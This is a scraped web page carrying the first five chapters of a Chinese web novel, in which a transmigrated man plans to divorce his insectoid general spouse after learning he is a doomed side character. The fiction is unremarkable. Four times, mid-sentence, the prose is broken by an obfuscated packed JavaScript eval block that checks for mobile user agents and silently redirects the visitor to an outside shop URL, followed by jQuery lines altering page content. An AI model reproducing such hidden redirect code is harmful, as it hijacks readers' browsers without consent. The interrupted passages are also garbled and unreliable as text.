《和虫族上将协议离婚后》
1. 我的上将老婆
布列卡星一向黑得很早。
魏邈六点下班的时候,明黄色的灯已经从高大的中央大厦顶层垂落下来,照得这栋将近千米高的大楼如同一座巍峨的佛龛,藏匿着密密麻麻的虫群。
他摘掉眼镜,刷了下光脑,等待晚归的摆渡车驶来,挺括修长的身型被包裹在藏蓝色的西装套装下,一楼这会儿的人并不多,这里几乎是一个巨大的下沉式的会客厅,摆放着各种糕点、甜品,以及精致的奶茶和香槟,只有雄虫可以使用。
有科学的调查报告显示,雌虫的味蕾数量相较于雄虫,有明显的差距,两者间差距在百分之四十左右,因此他们不嗜好甜品,更何况在如今的社会,新鲜食物是一种稀缺资源,只有上层贵族可以使用。
一路上,不少下班的雄虫结伴路过,商量着周末去哪个行星度假,见到魏邈,都热情而恭敬地打招呼。
魏邈面带微笑地一一点头回应,等了五分钟之后,才看见一个白胖的机器人飞驶而来,停驻在上空,降下安全舱。
说是“安全舱”,实际一应俱全,甚至还准备了一张软床,刚走进去,他便接到了伴侣奥兰德·柏布斯上将的电话。
“雄主,您下班了吗?”电话那边,奥兰德轻轻地问。
魏邈不喜欢全景的视频通话,因此,结婚这些年来,他和奥兰德的通话大多以语音为主,摆渡车飞快地上升,钢铁洪流般的首都如同一座严丝合缝的堡垒,在视野里逐渐下沉,魏邈“嗯”了一声,他淡淡地弯了弯眼睛,嘴角却没有多少真实的笑意:“下班了。”
“您今天打算吃什么?”对方道,“我准备了新鲜的牛肉和西蓝花,想给您准备奶油香菇浓汤。”
“太费心了。”魏邈道,他握住了安全舱里的栏杆,穿越到虫族七年以来,即使熟知这里的科技,但这样极速的上升和失重状态,依然让他有些无法适应,比在游乐场玩三十遍跳楼机更让人惊魂甫定。
魏邈有些失神,食指焦躁地在栏杆上敲击,心绪不断地压抑起伏,远没有面上所表现出的悠闲自若。
他难得不想再和名义上的爱人闲聊,过了一会儿,才道:“……抱歉,今天我可能会晚回来一会儿,你和维恩先吃饭吧,不用等我。”
电话那边静了一瞬,光脑的通信质量太好,他甚至隐约间听见对方的呼吸声,一秒钟之后,奥兰德才慢慢地问:“您今天要在公司加班吗?”
听筒里的男声娓娓,仿若不断流淌的静谧湖面,微风不皱,甚至少有多余的情绪波动。
魏邈静静地听着,解释了一句:“嗯,有点事情要处理。”
奥兰德说:“好的,恭候您回家。”
挂掉电话之后,魏邈闭了闭眼睛,从胸腔里吐出一口浊气,才发现短短的半分钟时间,他的手几乎没有离开过栏杆,在这样全然寂静和狭小的空间内部,他终于延迟地感受到一种缓慢的、迟滞的痛意,不断侵占他的心脏。
从下层贫民窟里没有身份的黑户雄虫,到如今任职于地质勘察研究司,看上去人模人样的高级研究员,魏邈花了七年时间。
最初来到这个世界的时候,他心怀着一种巨大的恐惧,在这个性别、等级森严的星际世界,一具高阶雌虫的骨翼不小心扫下来,风刃都能切割掉一大片的尸体,底层是你死我活的擂台,作为一个彻头彻尾的泥腿子,没有财产,指纹不被采集,没有固定的住所,随时随地会被攻击,魏邈花了一周时间,才在暗无天光的环境里,发现自己没有骨翼,应该是个低等级的雄虫。
在贫民窟,这显然不是个什么好事儿,因为除了紧迫要解决的吃喝拉撒之外,他还得严防死守着被别人睡了。
魏邈不了解这个世界的语言体系,没有基本的常识,不懂得如何使用一系列的科技成果,无法和别人沟通,甚至因为身在贫民的居住区,没有向外界求救的渠道。
他已经不记得他是如何从这里面爬上来的了,如果时间倒流,他觉得自己绝对没有同样的意志力重来一遍。
在摆脱了黑户的出身之后,身为稀少的雄虫,相对来说就轻松多了,魏邈也终于意识到这个世界的宏大和精密,宛若一架畸形的、完美的、不容置疑的机器,周全而永不停息地运转,他曾为此深深着迷,甚至庆幸过他能够穿越到此方截然不同的天地。
这种庆幸维持了很久,一直到他和奥兰德·柏布斯结婚,有了虫蛋之后,在他快要完全融入这个世界时,脑海中多了一本书。
——世界总是比想象中更为幽默。
魏邈想,他甚至莫名自得其乐地笑了一下。
这本书的书名起得很情趣,叫《星际第一雄主》,主要讲主角和他的雌虫后宫们的幸福生活,而书里的最终反派,是他如今的雌君。
结婚五年以来,魏邈很少能见到奥兰德失态的样子,对方保守、镇定、持衡拥璇,宛若一个冰冷严酷的政治机器,只为权力折腰,是标准的政客和顶阶军雌,怎么着也看不出来书中那种阴鸷、卑微和极端,因为得不到主角的爱而黑化,最终拉着所有虫同归于尽的惨烈模样。
而作为大反派的炮灰雄主,书里甚至没有明确交代“魏邈”的结局,只隐晦地提了一句,因为他一直纠缠着不愿意离婚,奥兰德私下里把他折磨死了。
这件事儿也成为奥兰德最后倒台的最后一根草。
“……”真是见者伤心、闻者落泪,还有雄权吗。
脑袋上骤然多了一顶即将扣上去的绿帽,说心情有多好,那显然是有些高看他狭小的心胸,这五年来,虽然这桩婚姻从最开始就是一个彻头彻尾的幌子,奥兰德只是需要一个名义上的雄主来保障他的诸多工作,而他恰好无权无势、易于掌控,于是一桩各取所需的婚姻成立。
但再虚情假意,在外界演得多了,就容易当真。
……尤其是,对方为他生了一个孩子。
魏邈漫无目的地敲击着栏杆,手突然攥紧,又怔松地松开。
他从来不是个一个好的演员。
属于虫族的寿命足够漫长,但五年依然不是弹指一挥间的事情,他也一度认为,接下来的一生都将和奥兰德携手渡过,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606708|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
把维恩养大,他理所应当地不能够再拥有第二名雌虫伴侣,毕竟这是平民雄虫能够高攀上柏布斯家族的条件。
对方从没有提议过离婚,而一名二婚或离异的雌虫显然没有家庭美满、和睦的雌虫更让大众和下属信服。
他以为……
他一直有很多以为。
魏邈的肩膀逐渐放松,他掏出光脑的屏幕,审视了一下自己如今的神情和装潢。
摄像机里,他表情颓丧,即使在微笑着,也看不出半点真实的笑意,像是画皮,皮肉和神色难以精确地贴合。
魏邈收起了无意义的社交笑容,兴致缺缺,觉得演戏果然是一门高深的学问。
像奥兰德,他平时就笑得很流畅,不像他总是会莫名地卡壳。
·
摆渡车比平时慢了接近半个小时,等到天幕彻底黑透,魏邈才终于从安全舱上下来。
空气里隐约传来馥郁的月季花香。
这里是奥兰德·柏布斯家族的私人庄园,位于首都的上层山脉中,周围都种植了珍稀繁茂的植被,夜风拂动下,甚至没有冗杂的喧嚣,远看如同一座传统的、漂亮的木建古宅。
虫族也讲究“久在樊笼里,复得返自然”的美学,而因为虫群人数众多,空间、植被、乃至新鲜的空气,是上层的专利。
魏邈在这里兀自站了一会儿,便看见一个小小的身影迈着碎步跑了过来,扎扎实实地扑到他怀中,毛茸茸的脑袋在他怀里蹭了一会儿,似乎在轻嗅着什么。
亚雌的触觉一向很灵敏,体型相较于一般雌虫更娇小,身段更柔软,长相也更精致一些。
魏邈将他抱在怀里。
“雄父。”维恩抬起头,控诉道,“你今天回来好晚,维恩在院子里等得好累。”
他有一双很漂亮的蓝眼睛,睫毛纤长,显然是继承了他的雌君的,肉嘟嘟的脸颊很适合rua一把,嘴角撇起,表情愤怒,似乎要把他的雄父吃掉。
魏邈握住他冰冷的手,扬了扬眉梢,道:“我记得我没有让你等。”
维恩如幼兽巡逻自己的领地般嗅了一遍雄父的西装,没有察觉出可疑的气味:“你是不是去找别的雌虫去了?”
“嗯。”魏邈低低笑了一下,捏了捏他的脸颊,“维恩好聪明。”
维恩瞪大了眼睛,过了一会儿,他说:“不行!”
“为什么不行?”
维恩舒适地呆在魏邈怀里,感受到雄父的熟悉的气息,理所当然地道:“雌父等了你好久,你不能去别的地方吃饭。”
魏邈顿了一下,从纷乱的思绪中抽身,才意识到什么。
他转过脸。
在这栋别墅的玄关处,奥兰德静静地站在这里,对方穿着一件居家的长袖外套,就连喉结都被仔细地包裹起来,宽肩窄腰,胸口处被薄薄一层胸肌撑起,银制的项链在深色的柔软面料里勒出一点凹陷的弧度,一双和维恩如出一辙的蓝眸如雪羽般轻轻地落在他身上,过了一秒钟之后,嘴角勾勒出一个微微的弧度:“雄主,欢迎您回家。”
2. 晚餐
魏邈只是愣了一瞬间。
他单手随意地抱着维恩,走到奥兰德面前,对方英俊的脸从阴影的覆盖下移出,对方自然地伸出手,想要接过年幼的亚雌。
“我说过不用等我的。”魏邈笑着道,“太麻烦了。”
维恩坐在他的怀抱里,比起去年,他今年的个头和体重飞速地上涨,像是地里一茬新鲜的韭菜,下雨后突然就蹿高了,有了实装的重量。
“不要。”维恩才不要去雌父怀里,他将脑袋搁在魏邈的肩膀上,冲着奥兰德努努嘴,“我要雄父抱。”
魏邈另一只空余的手护住他软绵绵的头发,以免他撞到门上,然后哇哇大哭——这并不是没有先例,一般若智小孩儿都喜欢自己找东西碰倒自己,然后倒地上哭。
维恩的IQ显然也归属在这个范畴。
奥兰德没说话,他唇色很淡,是饱满的杏眼,蓝色的瞳孔倒映出明亮的灯影,如同一汪平静的海。眼尾偏长,眉骨却很深刻,远看透出一种不怒而威的压迫感,他的手一直滞留在空中,抬起眼睛:“维恩,雄父已经很累了。”
“……”维恩抿了下唇角,乖乖应了一声,伸出手,让奥兰德抱。
魏邈低下头,揉了揉对方的脑袋,没说什么,把对方交给奥兰德,这才有空脱掉外套。
他手心冰冷,走入温暖的室内,才发现家里刻意调高了温度,让人进去就想要舒服地长呼一口气,会客厅的茶几上摆着维恩亲手栽培的小盆绿植,菱形的水球花即将发芽,花盆旁边是一张儿童画,画的应该是奥兰德的办公室,巨大的玻璃落地窗外,是首都的天井,也是人造的最高天际线。
这幅画被木质的画框装裱起来,但显然还不知道该挂在哪里合适,所以随意地扔在旁边。
奥兰德将魏邈的外套扔进洗衣池,漫不经心地道:“您对维恩有些太过宠爱了。”
“嗯?”魏邈垂下眼睛,洗了手,慢半拍地看了眼奥兰德,失笑,“会有一点吗?”
在这个世界,共有雌、雄两种性别的区分,雌虫占据绝大多数的位置,而亚雌作为雌虫的亚种,相较于常见的雌虫,显然也更珍贵一些。
不过这种珍贵更多的来说,还是相对于雄虫而言。
亚雌因为其先天身体素质无法承担雌性公民的社会责任,所以无法以独立身份继承家族的财产,而因为体型和长相优势,更受雄性青睐,因此更容易有机会和雄虫结婚,一般在婚姻中都比较受宠,单身的亚雌除非特许,否则无法以主体的身份生存,进入到一段不平等的婚姻当中,几乎是亚雌长大后唯一的出路。
当然,雄虫也差不多。
一般在雄虫成年,迎娶至少一位雌君和雌侍之后,才能够获得独立的财产权,同时也享有配偶的财产支配权,否则只能长期接受政府的丰厚资助,不能开设私人账户,资金往来受限。
虫族的亲情观念相当淡薄。
普通的雌虫幼崽或者亚雌幼崽,身处在庞大的家族群落中,几乎很难有被看见和重视的机会。
一切都为了族群的扩张和繁衍。
“维恩下半年就要去学校了,”奥兰德语气有些无奈,“您再把他当做虫蛋来照顾,我怕他反而不太适应学校里的生活。”
魏邈说:“好,我会注意的。”
结束了这个简短的育儿话题之后,两个人都没有再说话。
奥兰德明显还有工作要忙,光脑上面显示着满满当当的未读文件,他坐在餐桌旁,双腿合起,随意地半靠在椅背上,端着一杯温开水,打开第一栏待处理的文件。
魏邈把维恩放到绵软的婴儿椅上,很快,便有一个机器人自动接管了虫崽进食的工作。
奥兰德的饮食很规律,鲜少接受高蔗糖和高碳水的食物,对自己的身材管理到了一种接近于变态的程度,哪怕雌虫普遍对美食并不敏感,但像他这样严格控制糖分摄入的,依然是极少数。
维恩悄悄靠近魏邈:“雄父,偷偷告诉你,雌父最近要升职了哦。”
魏邈舀了一勺浓汤,只觉得甜度适中,浓郁的鲜香在舌苔上爆开,闻言,轻轻挑了挑眉:“维恩好厉害,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606709|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
连这种事情都知道吗?”
“因为我偷看到了雌父的光脑账号。”维恩啃了一大口苹果,手里举着蛋挞,时刻准备塞进自己的樱桃小嘴里,得意洋洋地压低声音,“维恩认识上面的不少字。”
“……”魏邈笑了一下,看了眼远处的奥兰德,对方一边不紧不慢地在透明的光脑屏幕上签署完自己的姓名,一边冷不丁地道,“我能听见,维恩。”
眼见虫崽不说话,奥兰德合上光脑,表情冷淡地低下眼:“偷看联邦机密,你知道是什么罪吗?我随时可以把你送进少年犯军事监狱里。”
魏邈撑着下巴好整以暇地应和了一句:“哎呀,那我们维恩就是监狱里面关押的年龄最小的犯人了。”
维恩怔然地望着自己冷漠的雌父和事不关己、高高挂起的雄父,过了一会儿,“哇——”一声,骤然哭了起来。
喂餐机器人连忙手忙脚乱地掏出一卷纸巾,要给维恩擦脸,结果越擦,哭声越大。
喂餐机器人疑惑地歪了歪头:“?”
奥兰德转过身,这才向魏邈说:“……抱歉。”
“本来打算等您吃完饭,再告诉您这个消息的,”他轻描淡写地说,“因为实在没有惊动您的必要,只是以后需要再兼顾上议院的部分工作而已,并不算升迁。”
寥寥几句话中,看不见半点权力交替的刀光血影。
“无论如何,祝贺你,奥兰德。”魏邈“嗯”了一声,并没有多问,笑着举起酒杯,和奥兰德的温白开碰了一下,“上任一路顺风。”
尽管只是表面夫妻,但五年积攒下来的默契已经足够让彼此心知肚明。
奥兰德嘴角抿起一抹淡淡的弧度:“感谢您。”
·
吃完饭后,魏邈独自回到自己的房间。
他脸上的多余笑容慢慢收起,疲倦地揉了揉一跳一跳的太阳穴。
眼前,是一块透明的屏幕,上面清晰地用华文中宋,标注着他今天中午看到的那段话:
请注意!距离剧情正式开始,还有一百天。
3. 所以,可以吗?
这间卧室有一扇巨大的玻璃窗,透过薄薄的纱帘向远处望去,能看见星星点点的灯火铺过花园的交错小径,树影婆娑,乌黑的一团,如同乌云一般笼罩在此方天地。
在巨大的天穹之上,交缀着明亮的星光,连成一排银河。
在星际时代,公众很难分得清哪些景是真的,而哪些景是由科技所创造出来的虚拟存在,比如此刻,树是真的,而天空是假的。
但在这里生活许久,总会多出一点辨别的经验。
他注视着这块莫名其妙出现的光幕,总觉得自己不得神经病,实在是心理实在太健康了。
搁这儿高考百日誓师倒计时呢?
他颇为真诚地建议:“按理来说,我觉得你们应该去找奥兰德,他看完说不定悔过自新了,那才是大项目。”
没有任何回应。
魏邈手指摩挲了摩挲卓沿的粗糙边缘,这是他思考时的惯性动作,轻轻地说:“你想让我干什么?扭转命运,等死,还是刺杀主角?或者刺杀奥兰德?恕我直言,这不是我一个地质勘察员的领域。”
“……”
一片寂静。
魏邈眯起眼,重复了两遍问题,在意识到出现的光屏无法真正的智能化沟通之后,停止了自己像傻子一样的自言自语,同时升起一种新的疑惑:这块光屏,只能充当一个报时器吗?
一百天啊。
这三个字在舌尖上咀嚼了片刻,魏邈才微微笑了起来,他想:这并不是一个再有机会犹豫的天数。
太过于安逸的生活,难免消磨人的斗志,如果放在他还在贫民窟里挣扎时,他下定决心或许会更加果断一些。
他需要抓紧时间来验证剧情存在的真实性,排除自己发癔症和幻想的可能,如果剧情为真,那为了自己的性命着想,他需要在简短的时间之内和奥兰德完成切割,免得战火波及。
这当然不是任何人的错。
但神仙打架,他不想被做被殃及的池鱼。
“扣、扣”一阵轻缓的敲门声过后,奥兰德走了进来。
“雄主。”对方神色一如既往的恭敬,湛蓝色的眼眸专注地注视着魏邈,手里端着一杯牛奶,“您还在看书吗?”
对方微微弯身,将牛奶放在桌子上,饱满的胸肌被包裹在衣料中,毫不设防地靠近,魏邈却微不可查地向后挪了挪。
侍奉、照顾好自己的雄主,是一名合格雌君的必修课。
——尽管严格意义来说,如今依照对方的职位,已经没有人敢于置喙他的任何决议,哪怕身为他的雄主,魏邈也无法再享有支配他的资格。
如果不是因为这段婚姻,按照他的职位,他甚至只能在新闻头版里看见对方。
“谢谢奥兰德。”魏邈道,“最近在做一个新项目,查阅一点资料。”
奥兰德说:“什么项目?”
“一个新行星的开采和勘察工作。”魏邈说得很简略。
奥兰德轻轻皱起眉:“是最新观察到的托尔星吗?”
“嗯,你知道?”
奥兰德见魏邈没有喝牛奶的打算,将托盘放进桌边恒温的真空储藏箱,方便魏邈随时取用,里面的各类零食和甜品依然塞得满满当当,没有被挪动的痕迹,而根据传达给他的报告来看,雄主在公司似乎也不太愿意进食。
或者或许该换一些口味了。
奥兰德划过这个念头,一边道:“那片星系最近并不太平,托尔星刚发现时,我派遣过一只舰队去做一些工作,很遗憾,没有什么惊人的发现,但好消息是一些战争遗留下来的颅骨被不小心挖掘了出来。”
他用一种讲笑话一般的语气说:“生物学家们或许会非常感兴趣。”
魏邈低笑了两声。
“您如果需要一些辅助类的资料的话,可以来找我。”奥兰德转过身,重新坐下,轻轻顿了下,一字一句地斟酌完,道,“您今天不太开心吗?”
他敏锐地察觉到雄虫今天似乎和往日并无二致,但整体的兴致却有些索然。
魏邈并不算惊讶。
他的雌君是一名天生的统帅和政客,擅长体察情绪,但内心波澜不惊;喜欢掌管全局,但乐于隐匿幕后;明明野心勃勃,却故作谦卑隐忍。
一名优秀的演员。
那双湛蓝的海洋在直面着你时,如同凝视着诱人深陷的危崖。魏邈撑着下巴看着他,一直到奥兰德主动挪开视线,扯了一个像是刚从垃圾桶里扒出来的拙劣借口:“勘察不太顺利,所以会有一点挫败感,经过奥兰德刚刚小小的劝导之后,已经好太多了。”
奥兰德不置可否,但他笑了起来。
魏邈说完,问:“还有什么事吗?”
“没什么事了。”英俊高大的雌虫站起身,“晚安,雄主。”
“晚安,上将。”
·
联邦的地质勘察研究院位于市中心的新大厦里,虫巢里容纳着无数的人流,但公司和公司之间有明确的玻璃幕墙,互不统属,甚至出行的电梯都截然不同。
魏邈走进自己的办公室的时候,只有寥寥几个虫赶过来,显然,他来得有点儿早了。
就像是婚姻不顺的中年领导喜欢带头加班,以这样的正当理由来逃避家庭的责任,魏邈现在也多少有点儿体会到这究竟是怎样的一种感受。
好在鲜少有雄虫热衷于给自己找个班上,所以联邦暂时还没有这种说法。
单说丰厚的补贴和各类福利政策的倾斜,已经足够一名雄虫衣食无忧,结婚之后有了雌虫的额外工作收入,会过得更加宽裕,昂贵的星际旅行和各类丰富的食物都近在咫尺。
虽然现在的联邦法律已经重新规范,雌虫的财产所有权在结婚后依然归属于自己所有,只是将支配权移交给雄主,但依然是换汤不换药。
从社会到个人,都并不鼓励雄虫创造新的社会财富和价值,雄虫上班,在这里或许会被称之为一种“没苦硬吃”。
魏邈总觉得,这个世界所谓的“雄尊雌卑”,建立在一种虚幻和扭曲的前提之上,看上去坚如磐石,实际上摇摇欲坠。
没有任何一名雄虫能够走到联邦的权力中心,哪怕是贵族出身的雄虫也同样如此。而大名鼎鼎的雄虫保护组织,听起来更像是人类建立的大熊猫保护基地。
——不过令人欣慰的是,假设剧情为真,作为一名并不占据篇幅的炮灰,他未必能存活到大厦坍塌的那一天。
这本书存储在他脑海中,可以随时翻阅,魏邈昨天只大致浏览了一遍,今天终于有时
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606710|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间细看。
他记得这本书主角的后宫之一,如今应该就在这栋大厦附近的餐厅工作,好像是……一名漂亮的亚雌?
·
“你们有看今天的《布星时报》吗?”干净的餐厅里,几名亚雌聚在一起,“第一军团宣布裁撤了一批军雌,说是为了联邦的和平。”
“哎呀,太可怕了。”一名亚雌小声惊呼,笑着掩起嘴角,“失去军团的庇护,偏偏长得又老又丑,还一身伤病,那可怎么办啊。”
“拜托,为了和平,这是必要的牺牲。”
“他们的雄主太可怜了,或许没过多久就会忍受不了,把他们赶出家门吧。”
“有巨额的抚恤金哦。”
“能拿到手里吗?”
几名讨论的亚雌店员彼此相视一笑。
尤文没有参与这样的谈话,他无声地将后厨无数的机械臂用桶装液体浸润,刺鼻的气味让旁边的亚雌皱了一下眉头。
“尤文,要小点力气哦。”那位亚雌笑着提醒,“你快锻炼出肌肉了。”
“哈哈,是啊。”
尤文没有回应,亚雌们还要说什么,突然店门被缓缓推开。
此时并不是饭点,餐厅里没有顾客,走进来的雄虫穿着一身剪裁不菲的西装,似乎在语音和别人沟通着什么,只露出半张立体的侧脸,鼻梁高挺,微显疑惑地看了眼嘈杂的餐厅操作台。
那名雄虫的身高优越到几乎比过大部分雌虫的地步。
“……欢、欢迎您。”原本在笑的亚雌磕磕绊绊地说。
“那暂时还是需要扩大测绘的面积,辛苦了,我稍后就到。”魏邈关掉了和同事的语音通话,问,“可以点单吗?”
“当然可以!”离得近了,亚雌的声音不自觉地夹起来,只觉得掌心冒汗,“您需要点什么?”
“你们店的招牌给我来一份就可以。”魏邈的目光落在这几名亚雌店员上,试图辨别这几名雌虫谁更加漂亮,然后落在了尤文身上。
他看了眼屏幕的时间,想起来人类的审美似乎并不和虫族互通,就像一名昆虫学家依然无法武断地评价是白蚁还是红蚁的颜值更高,他干脆利落地问:“另外打扰一下,你们中是否有一位叫尤文的店员?”
鸦雀无声。
魏邈目光逡巡了一周,才看见尤文脸色煞白,道:“我就是,您要干什么?”
“这样。”魏邈点点头,掏出一张卡,在顾客打赏的光脑上划了一下,露出一个礼貌的微笑,“不好意思,我时间有限,不知道是否可以用一笔钱买断一下尤先生十分钟的宝贵时间。”
明明是疑问的语句,却是平铺直叙的语气。
这名雄虫似乎礼貌得过分,但看起来却又相当强势。
亚雌主管张了张口,转过头看了眼尤文,一瞬间闪过无数个念头,这才有空检查光脑的余额。
他很快又看了第二眼,旋即不止嘴巴,眼睛也瞪大了。
“尊敬的雄虫阁下,您……您是不是数错数字了?”他夹不起来了,很直接的,轻轻地问。
这几乎是一笔可以在餐厅把每种昂贵的菜式都点一遍,吃个包月的价格。
雄虫似乎笑了一下,然后注视着尤文的方向:“没有。所以,可以吗?”
4. 确定
这家餐厅坐落的地段相当昂贵,但整体的装潢并不算豪华,来打卡的主顾大多是一些年轻的雄虫和亚雌,音乐充满动感和活力。
雄虫们大多喜欢睡个懒觉,下午才出门逛街,早上倒是鲜少有客人光顾。
这也是不少高级餐厅乐于雇佣昂贵的亚雌作为店员的原因,比起身材高大的雌虫,娇小可爱的亚雌更讨雄子们喜欢。
尤文选了一个相对角落的位置,用后背挡住几道若有若无的目光,直截了当地说:“尊敬的雄子阁下,我想我并不认识您。”
对面的雄子替他倒了杯水,搁至他面前,意味不明地道:“我也希望如此。”
“什么意思?”尤文不自觉地抿了下嘴唇,这是紧张的表现,“我不懂您的来意。”
和这位雄虫离得如此近,他几乎能够清晰地看到对方脸上的毛孔,覆住眼瞳的睫毛根根分明,眼尾自然地晕染开,轻轻向上划。
他的腕表、举止,无不体现教养和优渥的经济实力。
可是……
这种雄虫,他能够有机会认识对方吗?
“不用太紧张,我不是你的那些债主。”在尤文打量魏邈的时候,魏邈也顺手观察了下眼前这位亚雌。
没有想象中惊艳,但面容在普通的亚雌中确实足够出众,让人一眼便能注意到,书里尤文是主角新手期的后宫之一,点击即送,后面多了不少更优越的雌虫之后,尤文就相对显得有些普通了。
尤文和主角原身是青梅竹马的关系。
“你……您怎么知道?”对面的亚雌明显紧张起来,手都绞在了一起,嘴唇动了动,想要说什么,魏邈就不感兴趣地抬了抬手。
他的验证在知道这里真的有一名叫尤文的亚雌,且按照书里的剧情在餐厅工作的时候,已经完成了百分之八十。
如果是他自己的妄想症的话,该如何解释他知晓一位素昧平生的陌生人的生平信息?
心情算不上太糟糕,反倒有一种早知如此的感觉。
“时间有限,我长话短说。”魏邈道,“愿意来地址勘察研究所工作吗?地址在斯派尔街贝格大厦总部B入口,职级为勘察员。”
他需要一点前期的变数。
·
尤文一路被对方畅通无阻地带入研究所的大门时,还有些回不过神来。
他拘谨地跟在后面,脑海中一遍遍捋过刚才的谈话,怀揣着巨大的疑问,对方似乎对他的过往经历了如指掌,甚至连家里欠下的债都知道。
他咬了咬嘴唇。
“大厦出入需要认证,你一会儿登录光脑,为你办理入职的员工会让你线上填写表格。”雄虫淡淡地介绍道,“你需要加紧马力,在一个月内熟悉所有流程和工作,你是我招进来的,人事裁决权在我手中,没有试用期,每周需要给我发送一份周报,汇报你这一周的学习成果……另外需要确认一下,你是单身吗?”
尤文脑子乱糟糟的,听到最后,下意识“啊”了一声。
魏邈的手指在光脑屏幕上敲击了一下,他在计算如今的资产,没有等到回复,疑惑地转过头:“大脑还有在工作吗?”
“您……是因为什么,给我这样的机会呢?”
魏邈静静地看着眼前的亚雌,知道他充满满腔的疑问和怀疑,但他不是《答案之书》:“你只需要回答。”
亚雌脸上青一阵白一阵,色彩很丰富:“是。”
“那麻烦了。”魏邈道,“你的保险和工资或许需要缴纳给家人。”
单身的亚雌没有独立工作的权力。
不过事无绝对,真到了揭不开锅的地步,哪怕是尊贵的雄虫,只要工价够低,也是有地方打个黑工的,更别说数目更多的亚雌了。
魏邈的第一份工作就是在贫民窟里找到的。
尤文没想到是因为这个原因,微怔了怔,他犹豫了一下:“我可以处理好这件事。”
“这里不是餐厅。”雄虫道,“我的建议是收起你曾经奉为圭臬的处事法则和多余的小聪明。”
“……好。”尤文有一种被对方看透的感觉,他低下头,只觉得脸颊因为自卑和羞愧而发烫。
他刚刚想什么,随便找一个信息,然后填报进去?
……这里不是餐厅。
尤文默念了一句,才逐渐体会到对方话里的含义。
这只雄虫散发的气息相当强大和危险,他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13606711|143385||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
站在电梯的角落,还是觉得被对方影响到。
他见识过的大多数的雄虫和眼前的雄虫并不相同,甚至像两个物种,他甚至觉得对方比起那些新闻中的精英雌虫,也不遑多让。
电梯一路上升,渐渐的,细小如同雪花的建筑物变成黑色的一片,在视野里消失,紧接着迎来宽阔的云层。
电梯开门之后,魏邈却没有走出去,尤文不解地看着他,却见对方用手指指了指前面:“这一层是你之后的工区。”
“那您呢?”
魏邈露出一个笑容,没有回复尤文浅显的问题,道:“回见。”
他有别的工作要处理。
·
虫族的离婚程序,严格意义上来说并不繁琐,尤其是雌侍,随时可以被交换和丢弃,可如果是和雌君离婚,那就另当别论了。
单是繁琐的财产切割、流程申请,以及后续的连锁反应,都将占据大多数的时间,联邦的法律相当偏袒雄虫,但同样需要正当的理由。
魏邈倒不算太担心。
他的资产是他这七年工作攒下来的,还有一些政府的额外补贴,奥兰德的账户和他并不互通,到时候他净身出户,不会再产生多余的问题。
至于幼崽……
魏邈吐出一口气,取消了前几天订购的花束和戒指,再过一个月,就是他和奥兰德的新婚纪念日,预定的设计师的戒指昂贵而供不应求,付定金之后,还需要排至少半年的队。
和奥兰德结婚是一场豪赌,他的雌君正处在最为艰险的时间段里,在结婚后的整整半年时间内,魏邈都被动地卷入其中,眼睁睁地看着他的雌君从几乎一无所有,到大权在握,接管了整个庞大的柏布斯家族。
这几乎是一项不可能完成的任务,走错一步,便是万丈深渊。
他当然没有机会给对方举办一场婚礼、再献上戒指,这一次的纪念日本来打算补上这个仪式。
发送申请之后,对方很快回复:您确定吗?单方面取消订单的情况下,除了定金不退,您还需要额外支付设计的酬劳,如果对初版设计方案不满意的话,我可以进行修改。
魏邈垂下眼,一边走,一边回复:确定。
5. 有机会
再如何不舍,真到了分岔路口的时候,也就是一瞬间的事儿。
至于他们的虫崽,魏邈打算留给奥兰德决定,维恩是柏布斯家族的一员,他很难轻易地把对方带走。
而且,带走干什么?
他曾经以为诸多漫长的光阴,如今回头盘点的时候,才发现其实也没有那么多藕断丝连的牵绊,甚至值得纪念的时光都少得可怜。
等到脱离这段婚姻之后,这七年的一切会再度归零。
魏邈揉了揉眉心,他这时候才发现,五年来一直以为没什么印象的事儿原来还没忘,这会儿一齐涌入大脑,他最开始见奥兰德的时候,那会儿对方年轻,没现在能装,尚且锋芒毕露,和如今谦和低调、恬静无为的性格完全搭不上边,眼里揉不得一点沙子。
